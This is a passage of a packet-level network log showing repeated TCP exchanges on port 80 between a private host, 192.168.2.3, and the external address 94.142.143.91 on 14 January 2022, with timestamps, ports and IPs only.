Jan 14, 2022 05:00:00.872035980 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.872092009 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.872114897 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.872132063 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.872172117 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.872186899 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.872214079 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.872251987 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.872267962 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.872293949 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.872334003 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.872353077 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.872373104 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.872412920 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.872433901 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.872454882 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.872495890 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.872514009 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.872538090 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.872575998 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.872592926 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.872617006 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.872656107 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.872668982 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.872694016 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.872734070 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.872746944 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.872773886 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.872813940 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.872834921 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.872855902 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.872893095 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.872910023 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.872935057 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.872975111 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.872992039 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.873013020 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.873051882 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.873065948 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.873090982 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.873131037 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.873171091 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.873209000 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.873230934 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.873249054 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.873289108 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.873305082 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.873313904 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.873328924 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.873368025 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.873378038 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.873408079 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.873449087 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.873455048 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.873488903 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.873524904 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.873539925 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.873564959 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.873604059 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.873630047 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.873653889 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.873692036 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.873703003 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.873730898 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.873769045 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.873785019 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.873809099 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.873861074 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.873871088 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.873920918 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.873958111 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.873980045 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.873996973 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.874034882 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.874051094 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.874075890 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.874113083 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.874141932 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.874170065 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.874207973 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.874222040 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.874245882 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.874284983 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.874300003 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.874325037 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.874377012 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.880624056 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.880680084 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.880737066 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.923695087 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.923743010 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.923777103 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.923798084 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.923814058 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.923847914 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.923862934 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.923880100 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.923914909 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.923947096 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.923970938 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.923979998 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.924017906 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.924017906 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.924051046 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.924072027 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.924083948 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.924118996 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.924137115 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.924150944 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.924185991 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.924207926 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.924218893 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.924253941 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.924272060 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.924289942 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.924323082 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.924343109 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.924356937 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.924391031 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.924410105 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.924422979 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.924463034 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.924477100 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.924495935 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.924529076 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.924557924 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.924565077 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.924597025 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.924618006 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.924629927 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.924664021 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.924693108 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.924693108 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.924726963 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.924751997 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.924758911 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.924793959 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.924810886 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.924825907 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.924858093 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.924876928 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.924891949 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.924923897 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.924946070 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.924953938 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.924987078 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.925010920 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.925019026 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.925054073 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.925071955 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.925086975 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.925117970 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.925138950 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.925149918 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.925183058 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.925205946 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.925213099 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.925246954 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.925268888 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.925278902 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.925312042 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.925344944 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.925358057 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.925374985 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.925399065 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.925407887 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.925441027 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.925463915 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.925472021 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.925503969 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.925524950 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.925535917 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.925570011 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.925595999 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.925602913 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.925635099 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.925656080 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.925667048 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.925699949 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.925719023 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.925730944 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.925764084 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.925786972 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.925796032 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.925829887 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.925847054 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.925889969 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.925921917 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.925947905 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.925954103 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.926008940 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.932452917 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.932502985 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.932538033 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.932570934 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.932570934 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.932604074 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.932625055 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.932637930 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.932674885 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.932692051 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.932707071 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.932754040 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.932771921 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.932790995 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.932826042 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.932845116 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.932862997 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.932899952 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.932915926 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.932935953 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.932972908 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.932998896 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.933007002 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.933043957 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.933060884 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.933080912 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.933114052 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.933135033 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.933149099 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.933183908 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.933218002 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.933228016 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.933255911 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.933274984 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.933290005 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.933325052 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.933350086 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.933358908 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.933393002 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.933414936 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.933427095 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.933465004 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.933486938 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.933499098 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.933536053 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.933552980 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.933569908 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.933604956 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.933624983 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.933640957 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.933674097 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.933695078 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.933711052 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.933748007 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.933768034 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.933783054 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.933819056 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.933835983 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.933880091 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.933914900 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.933943033 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.933950901 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.933990002 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.934012890 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.934024096 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.934060097 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.934077978 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.934093952 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.934129000 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.934144974 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.934165001 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.934197903 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.934223890 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.934232950 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.934267998 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.934286118 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.934302092 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.934336901 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.934355974 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.934370995 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.934407949 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.934429884 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.934446096 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.934478998 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.934499025 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.934529066 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.934587955 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.937479019 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.937526941 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.937563896 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.937591076 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.982563972 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.982630968 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.982637882 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.982671022 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.982707977 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.982722998 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.982748032 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.982786894 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.982799053 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.982824087 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.982862949 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.982877970 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.982903004 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.982947111 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.982954979 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.982978106 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983017921 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983041048 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.983046055 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983077049 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983091116 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.983104944 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983134031 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983148098 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.983163118 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983190060 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983208895 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.983220100 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983248949 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983263969 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.983278036 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983308077 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983324051 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.983334064 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983364105 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983377934 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.983393908 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983421087 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983438015 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.983452082 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983479977 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983503103 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.983510017 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983539104 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983561039 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.983566046 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983594894 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983613014 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.983623028 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983649969 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983668089 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.983676910 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983705997 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983724117 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.983733892 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983762980 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983778954 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.983788967 CET	80	49905	94.142.143.91	192.168.2.3
